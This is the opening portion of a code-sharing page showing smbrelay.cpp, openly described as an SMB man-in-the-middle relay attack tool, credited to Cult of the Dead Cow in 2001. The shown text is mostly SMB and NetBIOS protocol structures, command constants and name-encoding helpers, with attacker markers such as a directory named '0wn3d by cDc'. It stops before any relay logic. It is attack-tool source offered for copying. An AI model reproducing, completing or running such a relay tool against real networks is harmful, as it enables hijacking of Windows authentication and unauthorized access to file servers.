📄 smbrelay.cpp
字号:
// smbrelay.cpp : TCP (NetBT) level SMB man-in-the-middle relay attack
// Copyright 2001 Sir Dystic - Cult of the Dead Cow - sirdystic@cultdeadcow.com
#pragma comment(lib, "wsock32.lib")
#pragma comment(lib, "iphlpapi.lib")
#include <windows.h>
#include <iphlpapi.h>
#include <ipifcons.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <process.h>
#include <signal.h>
#pragma pack(1)
#define GETSOCKETERROR WSAGetLastError
BOOL g_bQuit = FALSE;
int g_DebugLevel = 0;
DWORD g_LocalInterfaceNumber = 0;
DWORD g_RelayInterfaceNumber = 1;
char g_SourceName[16] = "CDC4EVER";
DWORD g_LocalIP = INADDR_NONE;
BOOL g_bAddLocalIP = FALSE;
WORD g_LocalPort = 139;
DWORD g_RelayStartIP = MAKELONG( MAKEWORD(192, 1), MAKEWORD(1, 1) );
BOOL g_bAddRelayIP = TRUE;
DWORD ConnectedList[1024];
DWORD ConnectedSize = 0;
#define SMBMAGICVAL MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') )
#define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
#define CREATEDIRECTORYNAME "0wn3d by cDc"
#define SERVERDOMAINNAME "PEE"
#define SMBENCRYPTIONKEYLEN 8
// The original MSNET SMB protocol (otherwise known as the "core protocol")
#define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0"
// Some versions of the original MSNET defined this as an alternate to the core protocol name
#define LANMANDIALECT_PCLAN10 "PCLAN1.0"
// This is used for the MS-NET 1.03 product. It defines Lock&Read,Write&Unlock, and a special version of raw read and raw write.
#define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03"
// This is the DOS LANMAN 1.0 specific protocol. It is equivalent to the LANMAN 1.0 protocol, except the server is required to map errors from the OS/2 error to an appropriate DOS error.
#define LANMANDIALECT_MICROSOFTNETWORKS30 "MICROSOFT NETWORKS 3.0"
// This is the first version of the full LANMAN 1.0 protocol
#define LANMANDIALECT_LANMAN10 "LANMAN1.0"
// This is the first version of the full LANMAN 2.0 protocol
#define LANMANDIALECT_LM12X002 "LM1.2X002"
// This is the DOS equivalent of the LM1.2X002 protocol. It is identical to the LM1.2X002 protocol, but the server will perform error mapping to appropriate DOS errors.
#define LANMANDIALECT_DOSLM12X002 "DOS LM1.2X002"
// DOS LANMAN2.1
#define LANMANDIALECT_DOSLANMAN21 "DOS LANMAN2.1"
// OS/2 LANMAN2.1
#define LANMANDIALECT_LANMAN21 "LANMAN2.1"
// Windows for Workgroups Version 1.0
#define LANMANDIALECT_WFW31A "Windows for Workgroups 3.1a"
// The SMB protocol designed for NT networking. This has special SMBs which duplicate the NT semantics.
#define LANMANDIALECT_NTLM012 "NT LM 0.12"
typedef struct {
BYTE Type; // Type of packet
BYTE Flags; // flags (length extension flag is all that's used)
WORD Length; // Length of additional data
// WORD Padding; // additional frame padding??
} NBSESSIONHEADER, *PNBSESSIONHEADER;
typedef struct {
DWORD MagicVal;
BYTE Command;
union
{
struct
{
BYTE ErrorClass;
BYTE Reserved;
WORD ErrorCode;
};
DWORD NTError;
};
// flags field
BYTE bLockAndReadWriteAndUnlock:1;
BYTE bSendWithoutAck:1;
BYTE bReservedBit:1;
BYTE bNoCaseSensitivePaths:1;
BYTE bCanonicalizedPaths:1;
BYTE bOpportunisticLocks:1;
BYTE bChangeNotify:1;
BYTE bResponse:1;
// 2nd flags field
BYTE bLongFilenames:1;
BYTE bExtendedAttributes:1;
BYTE bFlags2IsLongName:1;
BYTE bUnknown1:1;
BYTE bUnknown2:1;
BYTE bUnknown3:1; //***
BYTE bUnknown4:1;
BYTE bUnknown5:1; //***
BYTE bUnknown6:1;
BYTE bUnknown7:1;
BYTE bUnknown8:1;
BYTE bExtendedSecurity:1;
BYTE bResolveViaDFS:1;
BYTE bReadGrantedWithExecPerms:1;
BYTE bNTErrorCodes:1;
BYTE bUnicodeStrings:1;
WORD PID;
DWORD HdrReserved;
WORD SessionID;
WORD SequenceNumber;
BYTE Padding[2];
WORD TreeID;
WORD CallersProcess;
WORD UserID;
WORD MultiplexID;
} SMBHEADER, *PSMBHEADER;
typedef struct {
BYTE Len; // should be 17
WORD DialectIndex;
BYTE bUserLevelSecurity:1;
BYTE bEncryptPasswords:1;
BYTE bSecuritySignaturesEnabled:1;
BYTE bSecuritySignaturesRequired:1;
BYTE bReserved:4;
WORD MaxPendingMpxRequests;
WORD MaxVCsInClientAndServer;
DWORD MaxTransmitBufferSize;
DWORD MaxRawBufferSize;
DWORD UniqueSessionKey;
BYTE bReadAndWriteRawMode:1;
BYTE bReadAndWriteMultiplexMode:1;
BYTE bUnicode:1;
BYTE bLargeFiles:1;
BYTE bNTLM012Dialect:1;
BYTE bRAPIviaRPC:1;
BYTE bNT32BitStatus:1;
BYTE bLevelIIOplocks:1;
BYTE bLOCK_AND_READ_Command:1;
BYTE bNT_FIND_SBM_Command:1;
BYTE Unused1:2;
BYTE bDFSAware:1;
BYTE Unused2:3;
BYTE Unused3;
BYTE Unused4:5;
BYTE bBulkTransfer:1;
BYTE bCompressedData:1;
BYTE bExtendedSecurity:1;
DWORD SystemDate;
DWORD SystemTime;
WORD TimeZone;
BYTE EncryptionKeyLen;
WORD ByteCount;
} SMBDIALECTSELECTHEADER, *PSMBDIALECTSELECTHEADER;
#define SMBDIALECTSELECTHEADER_LEN 17
typedef struct
{
BYTE Len; // should be 10
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD MaxBufferSize;
WORD MaxMpxCount;
WORD VcNumber; // 0 = first (only), nonzero=additional VC number
DWORD SessionKey;
WORD PasswordLen;
DWORD Reserved;
WORD ByteCount;
} SESSION_SETUP_ANDHEADER, *PSESSION_SETUP_ANDHEADER;
#define SESSION_SETUP_ANDHEADER_LEN 10
typedef struct
{
BYTE Len; // should be 13
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD MaxBufferSize;
WORD MaxMpxCount;
WORD VcNumber; // 0 = first (only), nonzero=additional VC number
DWORD SessionKey;
WORD CaseInsensitivePasswordLen;
WORD CaseSensitivePasswordLen;
DWORD Reserved;
DWORD ClientCaps;
WORD ByteCount;
} SESSION_SETUP_ANDHEADER2, *PSESSION_SETUP_ANDHEADER2;
#define SESSION_SETUP_ANDHEADER2_LEN 13
typedef struct
{
BYTE Len; // should be 12
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD MaxBufferSize;
WORD MaxMpxCount;
WORD VcNumber; // 0 = first (only), nonzero=additional VC number
DWORD SessionKey;
WORD SecurityBlobLen;
DWORD Reserved;
DWORD ClientCaps;
WORD ByteCount;
} SESSION_SETUP_ANDHEADER2EX, *PSESSION_SETUP_ANDHEADER2EX;
#define SESSION_SETUP_ANDHEADER2EX_LEN 12
typedef struct
{
BYTE Len; // should be 3
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD Action;
WORD ByteCount;
} SESSION_SETUP_ANDRESPONSEHEADER, *PSESSION_SETUP_ANDRESPONSEHEADER;
// followed by
// SZ Server native OS
// SZ Server native LanMan
// SZ Server primary domain
#define SESSION_SETUP_ANDRESPONSEHEADER_LEN 3
typedef struct
{
BYTE Len; // should be 4
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD Flags;
WORD PasswordLen;
WORD ByteCount;
} TREE_CONNECT_ANDHEADER, *PTREE_CONNECT_ANDHEADER;
#define TREE_CONNECT_ANDHEADER_LEN 4
typedef struct
{
BYTE Len; // should be 3
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD OptionalSupport;
WORD ByteCount;
} TREE_CONNECT_ANDRESPONSEHEADER, *PTREE_CONNECT_ANDRESPONSEHEADER;
// followed by
// SZ Servicetype connected to
// SZ NativeFileSystem
#define TREE_CONNECT_ANDRESPONSEHEADER_LEN 3
typedef struct
{
BYTE Len; // should be 24
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
BYTE Reserved;
WORD NameLength;
DWORD Flags;
DWORD RootDirectoryFid;
DWORD AccessMask;
LARGE_INTEGER AllocationSize;
DWORD ExtFileAttributes;
DWORD ShareAccess;
DWORD CreateDisposition;
DWORD CreateOptions;
DWORD ImpersonationLevel;
BYTE SecurityFlags;
WORD ByteCount;
} NT_CREATE_ANDHEADER, *PNT_CREATE_ANDHEADER;
#define NT_CREATE_ANDHEADER_LEN 24
#define TYPE_SESSION_MESSAGE 0x00
#define TYPE_SESSION_REQUEST 0x81
#define TYPE_POSITIVE_SESSION_RESPONSE 0x82
#define TYPE_NEGATIVE_SESSION_RESPONSE 0x83
#define TYPE_RETARGET_SESSION_RESPONSE 0x84
#define TYPE_SESSION_KEEP_ALIVE 0x85
#define SMB_COM_CREATE_DIRECTORY 0x00
#define SMB_COM_DELETE_DIRECTORY 0x01
#define SMB_COM_OPEN 0x02
#define SMB_COM_CREATE 0x03
#define SMB_COM_CLOSE 0x04
#define SMB_COM_FLUSH 0x05
#define SMB_COM_DELETE 0x06
#define SMB_COM_RENAME 0x07
#define SMB_COM_QUERY_INFORMATION 0x08
#define SMB_COM_SET_INFORMATION 0x09
#define SMB_COM_READ 0x0A
#define SMB_COM_WRITE 0x0B
#define SMB_COM_LOCK_BYTE_RANGE 0x0C
#define SMB_COM_UNLOCK_BYTE_RANGE 0x0D
#define SMB_COM_CREATE_TEMPORARY 0x0E
#define SMB_COM_CREATE_NEW 0x0F
#define SMB_COM_CHECK_DIRECTORY 0x10
#define SMB_COM_PROCESS_EXIT 0x11
#define SMB_COM_SEEK 0x12
#define SMB_COM_LOCK_AND_READ 0x13
#define SMB_COM_WRITE_AND_UNLOCK 0x14
#define SMB_COM_READ_RAW 0x1A
#define SMB_COM_READ_MPX 0x1B
#define SMB_COM_READ_MPX_SECONDARY 0x1C
#define SMB_COM_WRITE_RAW 0x1D
#define SMB_COM_WRITE_MPX 0x1E
#define SMB_COM_WRITE_COMPLETE 0x20
#define SMB_COM_SET_INFORMATION2 0x22
#define SMB_COM_QUERY_INFORMATION2 0x23
#define SMB_COM_LOCKING_ANDX 0x24
#define SMB_COM_TRANSACTION 0x25
#define SMB_COM_TRANSACTION_SECONDARY 0x26
#define SMB_COM_IOCTL 0x27
#define SMB_COM_IOCTL_SECONDARY 0x28
#define SMB_COM_COPY 0x29
#define SMB_COM_MOVE 0x2A
#define SMB_COM_ECHO 0x2B
#define SMB_COM_WRITE_AND_CLOSE 0x2C
#define SMB_COM_OPEN_ANDX 0x2D
#define SMB_COM_READ_ANDX 0x2E
#define SMB_COM_WRITE_ANDX 0x2F
#define SMB_COM_CLOSE_AND_TREE_DISC 0x31
#define SMB_COM_TRANSACTION2 0x32
#define SMB_COM_TRANSACTION2_SECONDARY 0x33
#define SMB_COM_FIND_CLOSE2 0x34
#define SMB_COM_FIND_NOTIFY_CLOSE 0x35
#define SMB_COM_TREE_CONNECT 0x70
#define SMB_COM_TREE_DISCONNECT 0x71
#define SMB_COM_NEGOTIATE 0x72
#define SMB_COM_SESSION_SETUP_ANDX 0x73
#define SMB_COM_LOGOFF_ANDX 0x74
#define SMB_COM_TREE_CONNECT_ANDX 0x75
#define SMB_COM_QUERY_INFORMATION_DISK 0x80
#define SMB_COM_SEARCH 0x81
#define SMB_COM_FIND 0x82
#define SMB_COM_FIND_UNIQUE 0x83
#define SMB_COM_NT_TRANSACT 0xA0
#define SMB_COM_NT_TRANSACT_SECONDARY 0xA1
#define SMB_COM_NT_CREATE_ANDX 0xA2
#define SMB_COM_NT_CANCEL 0xA4
#define SMB_COM_OPEN_PRINT_FILE 0xC0
#define SMB_COM_WRITE_PRINT_FILE 0xC1
#define SMB_COM_CLOSE_PRINT_FILE 0xC2
#define SMB_COM_GET_PRINT_QUEUE 0xC3
#define SMB_COM_READ_BULK 0xD8
#define SMB_COM_WRITE_BULK 0xD9
#define SMB_COM_WRITE_BULK_DATA 0xDA
#define SMB_NONE 0xFF
typedef struct
{
SOCKET connectionsock;
SOCKADDR_IN sourcesockaddr;
int hostcount;
} NEWCONINFO, *PNEWCONINFO;
typedef struct
{
SOCKET connectionsock;
SOCKET relaysock;
char header[sizeof(SMBHEADER) + sizeof(NBSESSIONHEADER)];
} RELAYCONINFO, *PRELAYCONINFO;
const char *GetInterfaceType(DWORD Type);
const char *StrError(DWORD err)
{
static char retbuff[1024];
if (err == 0)
strcpy(retbuff, "\n");
else
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, 0, retbuff, 1024, NULL);
if (strlen(retbuff) == 0)
strcpy(retbuff, "\n");
return retbuff;
}
unsigned char hexvals[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
void PrintNetBIOSName(unsigned char *name)
{
BYTE BinVal;
char PrintName[16];
int x;
memcpy(PrintName, name, 15);
PrintName[15] = 0;
BinVal = name[15];
fprintf(stdout, "%s", PrintName);
for (x = 0; x < 16 - (int)strlen(PrintName); x++)
fprintf(stdout, " ");
fprintf(stdout, "<%02x>", BinVal);
}
int NetBIOSNameToString(char *dest, const BYTE *src, int PacketLeft)
{
int y;
static unsigned char Name[32];
unsigned char UncompressedName[256];
unsigned char hexbuf[3];
char *ptr;
BYTE len;
// get length of string
len = *src;
if (len & 0xC0) // name pointer or other
{
len = 0;
// just return last name read
}
else
{
if (len >= PacketLeft)
{
puts("[Short name, aborting]");
return 0;
}
memset(UncompressedName, 0, sizeof(UncompressedName));
memset(Name, ' ', sizeof(Name) );
memcpy(UncompressedName, src+1, len);
for (y = 0; y < 16; y++)
{
hexbuf[0] = hexvals[UncompressedName[y*2] - 'A'];
hexbuf[1] = hexvals[UncompressedName[y*2+1] - 'A'];
hexbuf[2] = 0;
Name[y] = (BYTE)strtoul((char *)hexbuf, &ptr, 16);
}
}
memcpy(dest, (const char *)Name , 16);
return (int)(len+2);
}
int StringToNetBIOSName(char *dest, const char *src, BYTE binval)
{
int x, y;
unsigned char Name[16];
unsigned char UncompressedName[256];
char hexbuf[2];
if (strcmp(src, WILDCARDNAME) == 0)
{
// set name to all zeros
// for some reason Windows seems to want wildcard names to be padded
// with zeros instead of spaces
memset(Name, 0, sizeof(Name));
}
else
{
// set name to all spaces
memset(Name, ' ', sizeof(Name));
}
// get length of name
x = strlen(src);
// truncate at 15th char
if (x > 15) x = 15;
// copy up to 15 chars leaving the rest space padded
memcpy(Name, src, x);
// uppercase the name
Name[15] = 0;
for (y = 0; y < 15; y++)
Name[y] = toupper((int)Name[y]);
// set 16th binary char
Name[15] = binval;
UncompressedName[0] = 32;
// convert each char to hex
for (x = 0; x < 16; x++)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -